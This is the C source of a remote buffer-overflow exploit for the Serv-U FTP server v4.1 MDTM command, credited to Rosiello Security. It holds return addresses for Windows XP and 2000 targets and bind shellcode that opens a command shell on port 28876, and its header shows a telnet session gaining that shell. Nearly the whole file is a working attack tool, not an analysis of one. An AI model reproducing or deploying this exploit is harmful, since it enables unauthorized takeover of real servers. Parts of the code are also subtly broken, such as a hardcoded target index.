/*
	   Copyright © Rosiello Security

 							http://www.rosiello.org
 								================



		      ---+++ Not for public releases rosiello and friends only !! ++---


  -== Remote Exploit for serv-u version v4.1 [MDTM] ==--
  Code by: rave
  Contact: rave@rosiello.org
  Date: Feb 2004
 
  Remote overflow in the MDTM command :| ( seh methode used to exploit ) 


  
 
    Copyright ® Rosiello Security
	http://www.rosiello.org

	Target Number           Target Name                             Library Adress
	=============           ===========                             ===============
	0                       Demo                                      0xBADC0DED
	1                       Windows XP Home Edtion SP1.               0x76AF2A3A
	2                       Windows XP Pro Edtion SP1.                0x76AF2A3A
	3                       Win2k Pro Edtion.                         0x00BBFDDC


   Usage <host> <port> <user> <passwd> <target>

	
   
  C:\>serv_u-expl localhost 21 rave A390kb 1
  [+] Winsock Inalized
  [+] Overflowing string is Prepared
  [+] Connected to localhost:21
  [+] target is running Windows XP Home Edtion SP1.
  [+] Login send
  [+] Overflowing string is send



  <C:\> telnet localhost 28876
  Microsoft Windows XP [versie 5.1.2600]
  (C) Copyright 1985-2001 Microsoft Corp.

  <C:\>



  pff
  Greetz to every one !!





  */



#include <stdio.h>
#include <winsock2.h>
#include <errno.h>
#include <windows.h>
#include <signal.h>


// Darn fucking 1337 macro shit
#define ISIP(m) (!(inet_addr(m) ==-1))

#define offset 71 

char  *hostname;
char  *user; 
char  *passwd;
int	   port;
int    choice;

struct remote_targets {
  char *os;
  unsigned long sh_addr;
} target [] ={

/* Option`s for your eyes only :D*/
    "Demo                        ",
     0xbadc0ded,


    "Windows XP Home Edtion SP1. ",
     0x76AF2A3A,

    "Windows XP Pro Edtion SP1.  ",
     0x76AF2A3A,


    "Win2k Pro Edtion.          ",
     0x00bbfddc,

 };


//Bindcode spawns a binshell on port 28876 (Thanks to metasploit.com guys)
unsigned char  shellcode[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
  "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
  "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
  "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
  "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
  "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
  "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
  "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
  "\x83\xc4\x5c\x61\xeb\x89\x41";


unsigned char _bad_rave [] =
"\x90\x90\x90\xe9\x9b\xf6\xff\xff\x90\x90";

unsigned char the_seh_show__ [] = 
"\xeb\x9\x90\x90";




/// oooh yeah uuuh right ....
int usage ()
{

 int i;
  fprintf(stdout,"Copyright © Rosiello Security\n");
  fprintf(stdout,"http://www.rosiello.org\n\n");
  fprintf(stdout,"Target Number\t\tTarget Name\t\t\t\tLibrary Adress\n");
  fprintf(stdout,"=============\t\t===========\t\t\t\t===============\n");

  for (i=0;i < 4;i++)
   fprintf(stdout,"%d\t\t\t%s\t\t  0x%p\n",i,target[i].os,target[i].sh_addr);

   fprintf(stdout,"\n\nUsage <host> <port> <user> <passwd> <target>\n");
  exit(0);
}


char *host_ip;
unsigned long getip(char *hostname)
{
 struct  hostent    *hp;

 if (ISIP(hostname)) return inet_addr(hostname);

  if ((hp = gethostbyname(hostname))==NULL)
  { perror ("[+] gethostbyname() failed check the existance of the host.\n");
    exit(-1); }

	inet_addr(inet_ntoa(*((struct in_addr *)hp->h_addr)));
}




int main(int argc,char **argv)
{
struct  sockaddr_in  ooh;
WSADATA wsadata;
char login[1024];
char buffer[1024]; 
char *ptr;
int len;
int i;
int oops;
int sd;







	if (argc < 2) usage(argv[0]);


	hostname = argv [ 1 ] ;
	port	 = atoi ( argv [ 2 ] );
	user	 = argv [ 3 ] ;
	passwd	 = argv [ 4 ] ;
	choice   = atoi (  argv [ 5 ] ) ;


if (!(oops=WSAStartup(0x101, &wsadata)==0))
	{ fprintf ( stderr, "[!] Error starting socket operations \n") ; 
		   exit ( -1 ) ; } 



fprintf(stdout,"[+] Winsock Inalized\n");

 /* Lets start making a litle setup
    Change the port if you have to */

    ooh.sin_addr.s_addr = getip(hostname);
    ooh.sin_port        = htons(port);
    ooh.sin_family      = AF_INET;

memset(buffer ,0x00 ,sizeof ( buffer ));
memset(login ,0x00 ,sizeof ( login ));


len=sprintf(buffer,"%s","MDTM 20031111111111+"
		);



ptr=buffer+len;


for (i=len; i <offset;i++) *ptr++=0x90;


len = strlen(buffer);


memcpy(buffer+len-4,the_seh_show__,4);



sprintf(buffer+len,"%s%s%s -->0xbad rave<--\r\n\r\n",
		((char *)&target[1].sh_addr),
		 _bad_rave,
		 shellcode
		 );

fprintf(stdout,"[+] Overflowing string is Prepared\n");


sprintf(login,"USER %s\r\nPASS %s\r\n",user,passwd);
sprintf(buffer+strlen(buffer),"\r\n");





// ok ok here`s ur sock()
sd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
 if (!sd<0) { fprintf(stderr,"[!] socket() failed.\n");exit (-1); }



 // Knock knock ... hi i want to hook up with you
oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh ));
if(oops!=0) { fprintf(stderr,"[!] connect() failed.\n"); exit(-1); }

  fprintf(stdout,"[+] Connected to %s:%d\n",hostname,port);
  fprintf(stdout,"[+] target is running %s\n",target[choice].os);


 // Sending the login 
i = send(sd,login,strlen(login),0);
 if (!i <0) { fprintf (stdout,"[!] Send() failed\n"); exit (-1) ; }

fprintf(stdout,"[+] Login send\n");





// Sending some Dangerous stuff
i = send(sd,buffer,strlen(buffer),0);
if (!i <0) { fprintf (stdout,"[!] Send() failed\n"); exit (-1) ; }
fprintf(stdout,"[+] Overflowing string is send\n");



	




	WSACleanup();
	

// [EOF]
return 0;

}